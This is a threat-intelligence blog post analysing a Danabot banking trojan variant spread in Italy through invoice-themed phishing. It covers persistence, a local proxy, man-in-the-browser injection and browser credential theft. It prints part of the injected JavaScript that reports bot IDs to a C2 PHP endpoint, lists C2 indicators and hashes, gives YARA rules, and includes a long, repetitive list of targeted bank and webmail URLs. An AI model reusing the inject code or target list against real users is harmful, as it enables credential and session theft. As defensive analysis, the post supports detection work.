Dissecting the Danabot Payload Targeting Italy

blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/

December 20, 2018

1	f1	.text:0056A8CC
2	f2	.text:0056AE90
3	f3	.text:0056B5E0
4	f4	.text:0056AFA8
5	f5	.text:0056B690
6	f6	.text:0056BD54
7	f7	.text:0056BFF4
8	f8	.text:0056AE24
9	dbkFCallWrapperAddr	0x00582630
10	__dbk_fcall_wrapper	.text:00410BAC
11	TMethodImplement...	.text:00462768
12	ServiceMain	.text:00547254

12/20/2018

Introduction

In the last weeks, a new variant of infamous botnet named Danabot hit Italy. Security firms such as Proofpoint and Eset analyzed other samples of the same threat targeting the Australian landscape back in May 2018 and, more recently, in Italy . The Cybaze-Yoroi ZLab dissected one of these recent Danabot variants spread across the Italian cyberspace leveraging "*Fattura*" themed phishing emails (e.g. N051118), where the malicious payload was dropped abusing a macro-enabled word document able to download the malicious DLL payload.

Technical Analysis

The malware tries to connect to the remote host 149.154.157.104 (EDIS-IT IT) through an encrypted SSL channel, then it downloads other components and deletes itself from the filesystem. In the meanwhile it sets up a system service into the "HKLM\SYSTEM\CurrentControlSet\Services" registry key. These registry keys are responsible of the loading of dynamically linked libraries in the *"read only*" and "*hidden*" "*C:\ProgramData\D93C2DAC*".

Figure 1. Registry key created by malware
Figure 2: Complete malware implant folder.
This hidden folder contains two other components in execution, "D93C2D32.dll" and "D93C2D64.dll". They are the same components compiled respectively in 32 and 64 bit, respectively executed through the rundll32.exe process according to the architecture of the

compromised host.

The malware implant loads the library at least two times, with different parameters each time, depending the called exported function:

Figure 3. Exported functions by the malicious dll
Figure 4. Example of execution of the malware
As shown in Fig.3, the malware exports eigth key functions: “f1”, “f2”, “f3”, “f4”, “f5”, “f6”, “f7” and “f8”. The “f1” function is the responsible of the installation of the malware implant into the victim machine. It works as an installation function and it allows the execution of the other ones. The two functions which keep alive the malware witihn the system are “f4” and “f5”: the “f5” function sets a system forwarding proxy on local port 1080, this way, all the communication between the victim computer and the Internet passes through the proxy, enabling the malware to intercept and modify the network traffic. Istead, the function “f4” manages the traffic and performs a Man-In-The-Browser attack. Every DNS call from victim computer to internet, matching with the list of banking sites hard-coded in the malware, will be modified; the malware adds in the original page a piece of javascript to steal sensible information such as username, password and session cookie.

Figure 5. Listening proxy in execution
During the execution of the functions above, the malware also searches for sensitive information stored in the data folder of the installed web browsers, like Google Chrome and Mozilla Firefox. It gathers saved credentials and stores them in a temporary sqlite database located in “*C:\WINDOWS\TEMP*” path.

Figure 6. Temporary SQLite database with stolen credentials

Man in the Browser

To perform man in the browser attack, the malware sets a system forward proxy as shown in Fig.7. This way, it inspects all incoming and outgoing internet traffic. When the victim requests a specific web page related to one of the targeted sites, the malware injects a custom javascript code into the page in order to intercept and exfiltrate sensitive user information such as personal details, credentials and PAN numbers. The proxy is managed by the “*f4*” function of the malicious dll.

Figure 7. Proxy setting
Figure 8. Snippet from malware configuration
By extracting the man-in-the-browser configuration from the malware sample, we retrieved the complete list of the intercepted web pages, revealing the malware is **targeting the customers of a wide range of financial institutions**: most of them are Italian banking companies such as Bancoposte, Intesa San Paolo, Banca Generali, BNL, Hello Bank, UBI Banca, ..etc . Besides the banking web sites, a set of email provider are also targeted by the

malware, for instance general purpose webmail providers such as Tim, Yahoo, Hotmail, GMail, and other more specific email services related to Italian real estatecompanies such as Tecnocasa.

Further details about the targeted organizations can be found at the bottom of the article.

Figure 8. Banking website without js injection
Figure 9: Banking website with js injection

Web-Inject

The malicious javascript injected into the webpages sends the stolen information to the C2, including session cookie of the victim in order to infiltrate already authenticated sessions. The snippet of code below shows the webinject code downloaded from "*http://equityfloat[.]pw/hc/myjs28frr_s51.js*".

Figure 10: Downlaoded javascript from equityfloat[.]pw C2
The web inject code check-ing to a malicious php resource "/my9rep/777.php", sending bot-id details and current session cookies.

```
var wwww = 'https://equityfloat.pw/';
wwww = "https://" + document.location.host + "/";
var waitdiv = "<center id=\"fkwt\" class=\"fkwt\"> <br/> Poczekaj aż Twój komputer
zostanie zidentyfikowany. Może to potrwać trochę czasu... <br/><img src=\"" + wwww +
"/my9rep/777.php?imgto=wait\"></img></center>";
  var waitfk = "";
  var waitlok = "<div><center> <br/> Prowadzone sa prace modernizacyjne w celu jak
najszybszego przywrocenia dzialania systemu.<br/>Przyblizony czas modernizacji wynosi
kilka godzin.<br/>Przepraszamy za tymczasowe utrudnienie i niedogodnosci.<br/>
<center></div>";

  var netbot = "frr";
  var rem777bname2 = "";
  var tbid = my7ajx("#myjs1[data-botid]");
  if (tbid.length > 0) rem777bname2 = tbid.attr("data-botid");
  var loca = location.href;
  var tyyp = true;

  var apan = wwww + "/my9rep/777.php?typ=" + document.location.host + "&sub=" +
netbot + "&b=2&inf=" + rem777bname2;

  var args = {};
  var tmp1;
  var tkstate = 1;
  var lg = "",
  ps = "",
  tk = "";
  var lgf;
  var pss;
  var tabl;
  var tabltr;
  var btn;
  var clickfnc;
  var ansq = false;
```

In particular, we can see the malware sets the bot-id of the infected machine, using a custom JQuery script: "*var tbid=my7ajx("#myjs1[data-botid]");*". This bot-id is concunated for the path to the php page of the C2 "equityfloat.]com" .

```
var apan = wwww + "/my9rep/777.php?typ=" + document.location.host + "&sub=" + netbot
+ "&b=2&inf=" + rem777bname2;
```

This way, the attacker is informed about the successful injection of the MitB agent.

Conclusion

The Danabot threat expanded its activities into the Italian landscape during the last year, especially during the November 2018(rif EW N051118) when a massive attack wave has been intercepted during CSDC security monitoring operations. The specific configuration extracted from the analyzed sample is another clear indication of the increasing criminal interest against Italian users and organization, not limited to the traditional banking sector.

Moreover, this particular November's wave have also been potentially originated by the same threat actor responsible of past Gootkit attack waves, internally referenced as TH-106. In fact according to CERT-PA technical analysis this actor may decided to try to achieve its malicious objectives leveraging another malware toolkit, showing adaptive capabilities to lower the chance of being taken down.

Indicator of Compromise

Indicators of compromise identified during the analysis:

- C2:
  - 176.119.1.99
  - 176.119.1.100
  - 192.71.249.50
  - 185.64.189.115
  - 149.154.157.106
  - equityfloat[.pw
  - 188.68.208.77
- Persistence
  Registry key set: "HKLM\SYSTEM\CurrentControlSet\Services"
- Hash:
  - de3c90b05d5f2e4cc7e520dea45a816029554c04d0f188d163c86f02db1c869d
  - c219e084556b0d836224f9c7cd517b57542d19c79d2608c3d31815a7dcf4f9b6
  - d36b230e3558fbb646fa61dc0bf4cca4669d5767271ab22f661bb887d04e51b6
  - 940455ee1dd18538f8ca352edc65f97b4b55f57da030de42541a2d6090dba8fd
  - b4b63ad0e4f99e8ed299b8f8a3aec5d81eb9c45345255b1706046f4931300e15

Yara Rules

```
rule myjs28_frr_s51_js_05_12_2018{
        meta:
        description = "Yara Rule for Danabot js"
        author = "Cybaze Zlab_Yoroi"
        last_updated = "2018-12-05"
        tlp = "white"
        category = "informational"

        strings:
                 $a1 = "/my9rep/777.php?typ="
                 $a2 = "#myjs1[data-botid]"
                 $a3 = "equityfloat.pw"
                 $b = "kilka godzin"
                 $c = "modernizacyjne"

        condition:
                $b and $c and 1 of ($a*)
}

rule payload_dll_05_12_2018{

        meta:
        description = "Yara Rule for Danabot payload DLL"
        author = "Cybaze Zlab_Yoroi"
        last_updated = "2018-12-05"
        tlp = "white"
        category = "informational"

        strings:
                $a1 = {67 00 43 00 51 00 59 00 73 00 6A 00}
                $a2 = {45 E8 50 E8 0E B0 FF FF 81 6D}
                 $b = "funny5.dll"

        condition:
                $b and 1 of ($a*)
}
```

WebInject Targets

```
https://login.ingbank.pl/mojeing/*
https://www.neobank24.pl/ebank/st*
https://*.pl/*
https://www.centrum24.pl/centrum24-web/*
https://pocztowy24biznes.pl/*
https://bitbay.ne*
https://bittrex.com/*
https://poloniex.com/*
https://ebusinessbank.db-pbc.pl/*
https://www.e25.pl/*
https://scrigno.popso.it/ihb/run*
https://bancoposta.poste.it/*
https://www.bancaprossima.com/script/*
https://www.intesasanpaoloprivatebanking.com/script/*
https://www.bancaprossima.com/script/*
https://qweb.quercia.com/*.as*
https://www.relaxbanking.it/newrelax1/*
https://www.ubibanca.com/qu*
https://www.ubibanca.com/qui/nav/bonifico/*
https://www.ubibanca.com/logou*
https://youweb.bancobpm.it/WEBHT/*
https://youwebcard.bancopopolare.it/WEBHT/*
https://geb.bankaustria.at/*
https://mein.elba.raiffeisen.at/*
https://banking.raiffeisen.at/*
https://*.at/banking/*
https://ibanking.wsk-bank.at/*
https://ebanking.raiffeisen.ch/entry*
https://*.ch/authen/login*
https://kunden.commerzbank.de/banking/*
https://www.bv-activebanking.de/*
https://meine.deutsche-bank.de/trxm/*
https://banking.spard*de/spm/*
https://banking.fidor.de/*
https://*.bluewin.ch/*/main_swissco*
https://home.navigator.gmx.net/home/show*
https://*.gmx.net/mail/*
https://outlook.live.com/*
https://biznes.toyotabank.pl/*
https://on.nestbank.pl/bim-webapp/nest/log*
https://plusbank24.pl/web-client/logi*
https://www.ipko.pl*
https://*.pl/frontend-web/app/auth.*
https://login.nestbank.pl/log*
https://system.aliorbank.*
https://securecca.ing.it/*
https://nowbanking.credit-agricole.it/*
https://nowbankingprivati.cariparma.it/*
https://www.banking4you.it/*
https://www.bancagenerali.it/*
https://www.banking4you.it/*htm*
https://www.bancagenerali.it/*htm*
https://bancopostaimpresaon.poste.it/*
https://banking.bnl.it/*
https://banking.hellobank.it/*
```

```
https://www.gruppocarige.it/vbank/*
https://www.gruppocarige.it/wps/myportal/*
https://carigeon.gruppocarige.it/wps8ib/myportal/*
https://www.chebanca.it/portalserver/homebanking/*
https://www.chebanca.it/portalserver/*
https://www.credem.it/*
https://banking.credem.it/newvir/*
https://banking.bancaeuro.it/newvir/*
https://banking-imprese.credem.it/*
https://ibk.icbpi.it/*
https://business.bnl.it/bway*
https://ibk.icbpi.it/ibk/*id=pagamenti_WAR_webcontocutilitiesportlet*
https://ibk.icbpi.it/ibk/*id=internationalbeneficiary_WAR*
https://ibk.icbpi.it/ibk/*=*
https://ibk.icbpi.it/ibk/*/movimenti*
https://business.bnl.it/bway*=*
https://www.inbank.it/*
https://www.intesasanpaolo.com/ib/content/static/*
https://dbon.italy.db.com/portalserver/*
https://scrigno.popso.it/ihb/run*
https://moj.raiffeisenpolbank.co*
https://login.ingbank.pl/mojeing/*
https://www.neobank24.pl/ebank/st*
https://*.pl/*
https://www.centrum24.pl/centrum24-web/*
https://pocztowy24biznes.pl/*
https://bitbay.ne*
https://bittrex.com/*
https://poloniex.com/*
https://ebusinessbank.db-pbc.pl/*
https://www.e25.pl/*
https://e-skok.pl/eskok/login*
https://secure.getinbank.p*
https://secure.ideabank.p*
https://portal.citidirect.com/portalservices/forms/*
https://login.portal.citidirect.com/portalservices/forms/*
https://e-bank.*agricole.p*
https://bosbank24.pl/corpo_web/auth/login*
https://*.bs*.pl/*
https://*bs.pl/*
https://*bs24.pl/*
https://ebo.*.pl/*
https://sgbon.sgb.p*
https://login.bgzbnpparibas.pl/*
https://ibiznes24.pl/*
https://korporacja.gb24.pl/*
https://biznes.toyotabank.pl/*
https://on.nestbank.pl/bim-webapp/nest/log*
https://plusbank24.pl/web-client/logi*
https://system.t-mobilebankowe.pl/web/logi*
https://www.ipko.pl*
https://*.pl/frontend-web/app/auth.*
https://login.nestbank.pl/log*
https://system.aliorbank.*
https://securecca.ing.it/*
```

```
https://nowbanking.credit-agricole.it/*
https://nowbankingprivati.cariparma.it/*
https://www.banking4you.it/*
https://www.bancagenerali.it/*
https://www.banking4you.it/*htm*
https://www.bancagenerali.it/*htm*
https://bancopostaimpresaon.poste.it/*
https://banking.bnl.it/*
https://banking.hellobank.it/*
https://www.gruppocarige.it/vbank/*
https://www.gruppocarige.it/wps/myportal/*
https://carigeon.gruppocarige.it/wps8ib/myportal/*
https://www.chebanca.it/portalserver/homebanking/*
https://www.chebanca.it/portalserver/*
https://www.credem.it/*
https://banking.credem.it/newvir/*
https://banking.bancaeuro.it/newvir/*
https://banking-imprese.credem.it/*
https://ibk.icbpi.it/*
https://business.bnl.it/bway*
https://ibk.icbpi.it/ibk/*id=pagamenti_WAR_webcontocutilitiesportlet*
https://ibk.icbpi.it/ibk/*id=internationalbeneficiary_WAR*
https://ibk.icbpi.it/ibk/*=*
https://ibk.icbpi.it/ibk/*/movimenti*
https://business.bnl.it/bway*=*
https://business.bnl.it/bway*=*
https://www.inbank.it/*
https://www.intesasanpaolo.com/ib/content/static/*
https://dbon.italy.db.com/portalserver/*
https://scrigno.popso.it/ihb/run*
https://bancoposta.poste.it/*
https://www.bancaprossima.com/script/*
https://www.intesasanpaoloprivatebanking.com/script/*
https://www.bancaprossima.com/script/*
https://www.intesasanpaoloprivatebanking.com/script/*
https://qweb.quercia.com/*.as*
https://www.relaxbanking.it/newrelax1/*
https://www.ubibanca.com/qu*
https://www.ubibanca.com/qui/nav/bonifico/*
https://www.ubibanca.com/logou*
https://youweb.bancobpm.it/WEBHT/*
https://youwebcard.bancopopolare.it/WEBHT/*
https://geb.bankaustria.at/*
https://mein.elba.raiffeisen.at/*
https://banking.raiffeisen.at/*
https://*.at/banking/*
https://ibanking.wsk-bank.at/*
https://ebanking.raiffeisen.ch/entry*
https://*.ch/authen/login*
https://kunden.commerzbank.de/banking/*
https://www.bv-activebanking.de/*
https://meine.deutsche-bank.de/trxm/*
https://banking.spard*de/spm/*
https://banking.fidor.de/*
https://*.bluewin.ch/*/main_swissco*
```

```
https://home.navigator.gmx.net/home/show*
https://*.gmx.net/mail/*
https://outlook.live.com/*
https://mail.tecnocasa.it*
https://mail.vianova.it*
https://mail.yahoo.*
https://mail.google.*
https://mail.one.com/*
https://icb.mps.it/av1/cbl/exec/*
https://*/de/home/misc/break.html?08X26/*
https://m.mail.tim.it/*
https://moj.raiffeisenpolbank.co*
https://login.ingbank.pl/mojeing/*
https://www.neobank24.pl/ebank/st*
https://*.pl/*
https://www.centrum24.pl/centrum24-web/*
https://pocztowy24biznes.pl/*
https://bitbay.ne*
https://bittrex.com/*
https://poloniex.com/*
https://ebusinessbank.db-pbc.pl/*
https://www.e25.pl/*
https://e-skok.pl/eskok/login*
https://secure.getinbank.p*
https://secure.ideabank.p*
https://portal.citidirect.com/portalservices/forms/*
https://login.portal.citidirect.com/portalservices/forms/*
https://e-bank.*agricole.p*
https://bosbank24.pl/corpo_web/auth/login*
https://*.bs*.pl/*
https://*bs.pl/*
https://*bs24.pl/*
https://ebo.*.pl/*
https://sgbon.sgb.p*
https://login.bgzbnpparibas.pl/*
https://ibiznes24.pl/*
https://korporacja.gb24.pl/*
https://biznes.toyotabank.pl/*
https://on.nestbank.pl/bim-webapp/nest/log*
https://plusbank24.pl/web-client/logi*
https://system.t-mobilebankowe.pl/web/logi*
https://www.ipko.pl*
https://*.pl/frontend-web/app/auth.*
https://login.nestbank.pl/log*
https://system.aliorbank.*
https://securecca.ing.it/*
https://nowbanking.credit-agricole.it/*
https://nowbankingprivati.cariparma.it/*
https://www.banking4you.it/*
https://www.bancagenerali.it/*
https://www.banking4you.it/*htm*
https://www.bancagenerali.it/*htm*
https://bancopostaimpresaon.poste.it/*
https://banking.bnl.it/*
https://banking.hellobank.it/*
```

```
https://www.gruppocarige.it/vbank/*
https://www.gruppocarige.it/wps/myportal/*
https://www.gruppocarige.it/wps/myportal/*
https://www.gruppocarige.it/wps/myportal/*
https://carigeon.gruppocarige.it/wps8ib/myportal/*
https://www.chebanca.it/portalserver/homebanking/*
https://www.chebanca.it/portalserver/*
https://www.credem.it/*
https://banking.credem.it/newvir/*
https://banking.bancaeuro.it/newvir/*
https://banking-imprese.credem.it/*
https://ibk.icbpi.it/*
https://business.bnl.it/bway*
https://ibk.icbpi.it/ibk/*id=pagamenti_WAR_webcontocutilitiesportlet*
https://ibk.icbpi.it/ibk/*id=internationalbeneficiary_WAR*
https://ibk.icbpi.it/ibk/*=*
https://ibk.icbpi.it/ibk/*/movimenti*
https://business.bnl.it/bway*=*
https://business.bnl.it/bway*=*
https://www.inbank.it/*
https://www.intesasanpaolo.com/ib/content/static/*
https://dbon.italy.db.com/portalserver/*
https://scrigno.popso.it/ihb/run*
https://bancoposta.poste.it/*
https://www.bancaprossima.com/script/*
https://www.intesasanpaoloprivatebanking.com/script/*
https://www.bancaprossima.com/script/*
https://www.intesasanpaoloprivatebanking.com/script/*
https://qweb.quercia.com/*.as*
https://www.relaxbanking.it/newrelax1/*
https://www.ubibanca.com/qu*
https://www.ubibanca.com/qui/nav/bonifico/*
https://www.ubibanca.com/logou*
https://youweb.bancobpm.it/WEBHT/*
https://youwebcard.bancopopolare.it/WEBHT/*
https://geb.bankaustria.at/*
https://mein.elba.raiffeisen.at/*
https://banking.raiffeisen.at/*
https://*.at/banking/*
https://ibanking.wsk-bank.at/*
https://ebanking.raiffeisen.ch/entry*
https://*.ch/authen/login*
https://kunden.commerzbank.de/banking/*
https://www.bv-activebanking.de/*
https://meine.deutsche-bank.de/trxm/*
https://banking.spard*de/spm/*
https://banking.fidor.de/*
https://*.bluewin.ch/*/main_swissco*
https://home.navigator.gmx.net/home/show*
https://*.gmx.net/mail/*
https://outlook.live.com/*
https://mail.tecnocasa.it*
https://mail.vianova.it*
https://mail.yahoo.*
https://mail.google.*
```

```
https://mail.one.com/*
https://icb.mps.it/av1/cbl/exec/*
https://www.relaxbanking.it/relaxbanking/sso.LoginMobil*
https://m.unicredit.it/*
https://mein.elba.raiffeisen.at/apm/*
https://*.at/banking/rest/jslog*
https://api.sparkasse.at/*/addressbook?q=*
https://*/de/home/misc/break.html?08X26/*
https://www.ipkobiznes.p*
https://*my9rep/*
https://sso.cloud.ideabank.pl/app.bundle.*
https://*/analitycs/*
https://*/CtelGlobal/jquery.inputmask.js?02X88/*
https://*/hb/jquery-ui.min.js?05X88/*
https://*/newvir/resources/js/common.js?02X88/*
https://*/webcontoc/js/jqueryibfec.js?10XX17/*
https://*/portal/web2/default/js/lib/core/jquery-patched.js?08XX28XX/*
https://*/cs/qui_A/css/bootstrap.css?014XX09/*
https://nowbanking.credit-agricole.it/API/Core/erro*
https://www.banking4you.it/mobile*
https://www.bancagenerali.it/mobile*
https://my.unipolbanca.it/hb/RUEI/*
https://cdn.chebanca.net/js/afp_obf.j*
https://webchat.credem.it/*
https://secure.credem.it/*
https://m.credem.it/*
https://cache.inbank.it/*
https://cdn.inbank.it/*
https://m.intesasanpaolo.com/*
https://www.relaxbanking.it/relaxbanking/sso.LoginMobil*
https://m.unicredit.it/*
https://mein.elba.raiffeisen.at/apm/*
https://*.at/banking/rest/jslog*
https://api.sparkasse.at/*/addressbook?q=*
https://*/de/home/misc/break.html?08X26/*
https://m.mail.tim.it/*
https://sso.cloud.ideabank.pl/app.bundle.*
https://*/analitycs/*
```

This blog post was authored by Testa Davide, Martire Luigi, Antonio Pirozzi, Luca Mella of Cybaze-Yoroi Z-LAB